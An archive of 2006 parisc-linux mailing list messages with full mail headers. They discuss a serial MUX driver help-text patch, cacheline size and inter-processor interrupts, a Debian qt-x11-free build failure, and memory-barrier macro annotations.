X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: hCeWZB1xeSE5SL6WZHQhut92IGRvb8C0
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23895

Hi all,

May I suggest a small patch mentioning that the 'remote control card of D=

class also works thanks to this serial mux driver, something like:
--- ./drivers/serial/Kconfig.Orig       2006-08-17 12:09:06.000000000 +02=
00
+++ ./drivers/serial/Kconfig    2006-08-17 12:13:44.000000000 +0200
@@ -556,10 +556,11 @@
        default y
        ---help---
          Saying Y here will enable the hardware MUX serial driver for
-         the Nova and K class systems.  The hardware MUX is not 8250/165=
50
-         compatible therefore the /dev/ttyB0 device is shared between th=
e
-         Serial MUX and the PDC software console.  The following steps
-         need to be completed to use the Serial MUX:
+         the Nova, K class systems and D class with a 'remote control ca=
rd'.
+         The hardware MUX is not 8250/16550 compatible therefore
+         the /dev/ttyB0 device is shared between the Serial MUX and the =
PDC
+         software console.
+         The following steps need to be completed to use the Serial MUX:=


            1. create the device entry (mknod /dev/ttyB0 c 11 0)
            2. Edit the /etc/inittab to start a getty listening on /dev/t=
tyB0
=3D=3D=3D=3D<>=3D=3D=3D=3D

TIA,
    Joel=0A=0A----------=0AClub Scarlet : Tout le monde gagne! Si vous de=
venez aujourd'hui Scarlet One grace a un client existant de Scarlet, vous=
 recevez tous les deux un cadeau d'une valeur de 50 euros! Surfez vite su=
r http://www.clubscarlet.be

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cacheline size and IPI
Date: Tue, 22 Aug 2006 10:12:00 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <20060822161200.GC20945@colo.lackof.org>
References: <J4EPT2$29A32450E1241FA2763D117BC258E270@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624154 20686 80.91.229.3 (22 Nov 2014 02:42:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Aug 2006 16:12:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx052) with SMTP; 22 Aug 2006 18:12:11 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A3D0B7D711;
	Tue, 22 Aug 2006 10:12:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02325-09; Tue, 22 Aug 2006 10:12:05 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C5D847D70C;
	Tue, 22 Aug 2006 10:12:04 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3EE5E7D708
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 Aug 2006 10:12:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02517-01 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 Aug 2006 10:12:01 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 16A077D707
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 Aug 2006 10:12:01 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id A9B0539824C;
	Tue, 22 Aug 2006 10:12:00 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24328-09; Tue, 22 Aug 2006 10:12:00 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 259BA36801D; Tue, 22 Aug 2006 10:12:00 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <J4EPT2$29A32450E1241FA2763D117BC258E270@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 6xTddSdTYmYSfenCanc3WSBKWkZTQZQg
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23896

On Tue, Aug 22, 2006 at 06:00:38PM +0200, Joel Soete wrote:
> > No it can't. The CPU and memory controller have to agree on one size
> > for any given implementation. The IOMMU has to use this cacheline size
> > as well.
> >
> I doubt it could be important but is there a way to know the size of the
> cacheline 'negociated' between cpu and mc?

The cacheline size is decided by the HW designers.
Not negotiated at run time.

> PS: I forgot to ask: can you tell me in very short what IPI means in the linux
> kernel (iirc also related to spinlock management)?

Inter Processor Interrupt.
When one CPU wants to get the attention of another CPU and ask it
to do some house keeping work.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cacheline size and IPI
Date: Tue, 22 Aug 2006 14:58:29 -0500
Lines: 41
Approved: news@gmane.org
Message-ID: <200608221458.29491.mszick@morethan.org>
References: <J4EPT2$29A32450E1241FA2763D117BC258E270@scarlet.be>
	<20060822161200.GC20945@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624155 20688 80.91.229.3 (22 Nov 2014 02:42:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:35 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Aug 2006 19:58:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx054) with SMTP; 22 Aug 2006 21:58:50 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E11057D700;
	Tue, 22 Aug 2006 13:58:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05507-03; Tue, 22 Aug 2006 13:58:47 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 283877D703;
	Tue, 22 Aug 2006 13:58:46 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 44FBF7D6FE
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 Aug 2006 13:58:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04575-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 Aug 2006 13:58:33 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 0950C7D6CC
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 Aug 2006 13:58:32 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k7MJwZik062515
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 Aug 2006 12:58:35 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [71.1.55.79] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id iFG0EKM2
	authenticated by SMTP; Tue, 22 Aug 2006 12:58:33 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <20060822161200.GC20945@colo.lackof.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: zlfedWcIbUkoDenGPWgnY1NkZ2hlNwpk
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23897

On Tue August 22 2006 11:12, Grant Grundler wrote:
> On Tue, Aug 22, 2006 at 06:00:38PM +0200, Joel Soete wrote:
> > > No it can't. The CPU and memory controller have to agree on one size
> > > for any given implementation. The IOMMU has to use this cacheline size
> > > as well.
> > >
> > I doubt it could be important but is there a way to know the size of the
> > cacheline 'negociated' between cpu and mc?
> 
> The cacheline size is decided by the HW designers.
> Not negotiated at run time.
> 

Joel,

If you look at the information available with the pdc_cache calls, it
should contain the cache line size.

The people in the hardware design department might not actually have
built it that way on a particular machine, but it _will_ work the 
same as what is reported.

> > PS: I forgot to ask: can you tell me in very short what IPI means in the linux
> > kernel (iirc also related to spinlock management)?
> 
> Inter Processor Interrupt.
> When one CPU wants to get the attention of another CPU and ask it
> to do some house keeping work.
> 

Which is why a processor busy waiting for a lock must run with the
interrupts enabled on pa-risc.

Mike
> grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Bug#342545: qt-x11-free FTBFS
Date: Wed, 23 Aug 2006 10:39:04 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <17644.5160.464612.203605__12545.6380461857$1416624155$gmane$org@gargle.gargle.HOWL>
References: <877j1ug3tu.fsf@nahar.marcbrockschmidt.de>
	<200608061403.30923.chrsmrtn@debian.org>
	<20060810042506.GP6949@mauritius.dodds.net>
	<200608101952.41156.chrsmrtn@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624155 20690 80.91.229.3 (22 Nov 2014 02:42:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:35 +0000 (UTC)
Cc: 342545@bugs.debian.org,
 debian-release@lists.debian.org,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: Christopher Martin <chrsmrtn@debian.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Aug 2006 08:39:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx029) with SMTP; 23 Aug 2006 10:39:29 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3F6EC7D72A;
	Wed, 23 Aug 2006 02:39:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13328-06; Wed, 23 Aug 2006 02:39:25 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5F4FE7D72B;
	Wed, 23 Aug 2006 02:39:23 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 757587D729
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Aug 2006 02:39:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13328-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Aug 2006 02:39:19 -0600 (MDT)
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by free.linux.hp.com (Postfix) with ESMTP id CFB597D723
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Aug 2006 02:39:18 -0600 (MDT)
Original-Received: from mailhost.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by mail.cs.tu-berlin.de (8.9.3p2/8.9.3) with ESMTP id KAA28919;
	Wed, 23 Aug 2006 10:39:09 +0200 (MEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by mailhost.cs.tu-berlin.de (Postfix) with ESMTP id 2F4B8F26B;
	Wed, 23 Aug 2006 10:39:09 +0200 (MEST)
Original-Received: from mailhost.cs.tu-berlin.de ([127.0.0.1])
	by localhost (mail.cs.tu-berlin.de [127.0.0.1]) (amavisd-new,
	port 10224)
	with ESMTP id 26420-02; Wed, 23 Aug 2006 10:39:04 +0200 (MEST) 12657
Original-Received: from bolero.cs.tu-berlin.de (bolero.cs.tu-berlin.de [130.149.19.1])
	by mailhost.cs.tu-berlin.de (Postfix) with ESMTP;
	Wed, 23 Aug 2006 10:39:04 +0200 (MEST)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.13.6+Sun/8.12.8/Submit) id k7N8d4iR029373; 
	Wed, 23 Aug 2006 10:39:04 +0200 (MEST)
In-Reply-To: <200608101952.41156.chrsmrtn@debian.org>
X-Mailer: VM 7.17 under 21.4 (patch 17) "Jumbo Shrimp" XEmacs Lucid
X-Virus-Scanned: by amavisd-new at cs.tu-berlin.de
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: dybVfCNVYW0+VLuGbmZpMrl0amthc5up
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23898

The qt-x11-free package builds fine with a standard Debian setup.
Building with prctl --unaligned=signal makes the "bug" reproducible.

Christopher Martin writes:
> reassign 342545 libgcc2
> stop
> 
> On Thursday 10 August 2006 00:25, Steve Langasek wrote:
> > It hasn't been, because I can't see any way that libglu1-mesa could
> > have anything to do with the failure in question.  libglu1-mesa
> > should not be a dependency of the tool that's failing with SIGBUS in
> > the build log.
> >
> > I would suggest that someone should investigate this further and get
> > a clear answer on the nature of the bug, because I really don't buy
> > that libgcc skew is to blame.
> 
> Fair enough, but before I take off for the weekend, I'm sending this 
> report back to libgcc2, since it seems to have been established long 
> ago that this isn't a Qt bug, and it really should be assigned to 
> something in the toolchain. I note that, for a time, the problem was 
> thought to be in glibc, so perhaps the glibc team would again be worth 
> consulting.
> 
> Cheers,
> Christopher Martin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Just A suggestion to highlight mb() and	cpu_relax()
	in s files?
Date: Thu, 24 Aug 2006 18:39:23 +0000
Lines: 36
Approved: news@gmane.org
Message-ID: <44EDF25B.6070309@scarlet.be>
References: <J4IE0Y$F96BD8695898C37EEF35C0BA6880F173@scarlet.be>	<20060824154721.GL24068@parisc-linux.org>
	<20060824161532.GA1455@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624155 20695 80.91.229.3 (22 Nov 2014 02:42:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:35 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>,
 Matthew Wilcox <matthew@wil.cx>
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Aug 2006 18:40:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx021) with SMTP; 24 Aug 2006 20:40:08 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 83FDB7D78A;
	Thu, 24 Aug 2006 12:40:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10222-07; Thu, 24 Aug 2006 12:40:05 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 761037D78B;
	Thu, 24 Aug 2006 12:40:04 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EF4117D788
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Aug 2006 12:39:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10222-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Aug 2006 12:39:58 -0600 (MDT)
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by free.linux.hp.com (Postfix) with ESMTP id 591037D787
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Aug 2006 12:39:58 -0600 (MDT)
Original-Received: from (ip-213-49-82-188.dsl.scarlet.be [213.49.82.188]) 
	by oola.is.scarlet.be  with ESMTP id k7OIdSs02797; 
	Thu, 24 Aug 2006 20:39:28 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.13) Gecko/20060809 Debian/1.7.13-0.3
X-Accept-Language: en
In-Reply-To: <20060824161532.GA1455@athena.road.mcmartin.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: usXfdSBIIyd1EvqQe2dr4qtaa2FkZtWs
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23899



Kyle McMartin wrote:
> On Thu, Aug 24, 2006 at 09:47:21AM -0600, Matthew Wilcox wrote:
> 
>>I like the idea.  How about using the function name instead, though?
>>
>>+#define __mb(s)           __asm__ __volatile__(s "()":::"memory") /* barrier() */
>>+#define mb()	__mb("mb")
>>+#define rmb()          __mb("rmb")
>>+#define wmb()          __mb("wmb")
>>+#define smp_mb()       __mb("smp_mb")
> 
> 
Love it too (would be my next q)
anyway won't we need some comment charater: I prefer ';' (my oldfashion) but may be better '#'
+#define __mb(s)           __asm__ __volatile__("# " s "()":::"memory")	/* barrier() */

> I liek it.

Will you do it or do you prefer I send you (tomorrow) a patch?

TIA,
	Joel
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] update mman.h in latest glibc cvs
Date: Fri, 25 Aug 2006 00:50:34 -0400
Organization: wh0rd.org
Lines: 179
Approved: news@gmane.org
Message-ID: <200608250050.34940.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_aGo7E0945UorO7p"
X-Trace: ger.gmane.org 1416624156 20697 80.91.229.3 (22 Nov 2014 02:42:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:36 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Aug 2006 04:49:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx080) with SMTP; 25 Aug 2006 06:49:19 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0CACB7D7B4;
	Thu, 24 Aug 2006 22:49:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17071-07; Thu, 24 Aug 2006 22:49:16 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3972D7D7A7;
	Thu, 24 Aug 2006 22:49:14 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A8EB17D7A3
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Aug 2006 22:49:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
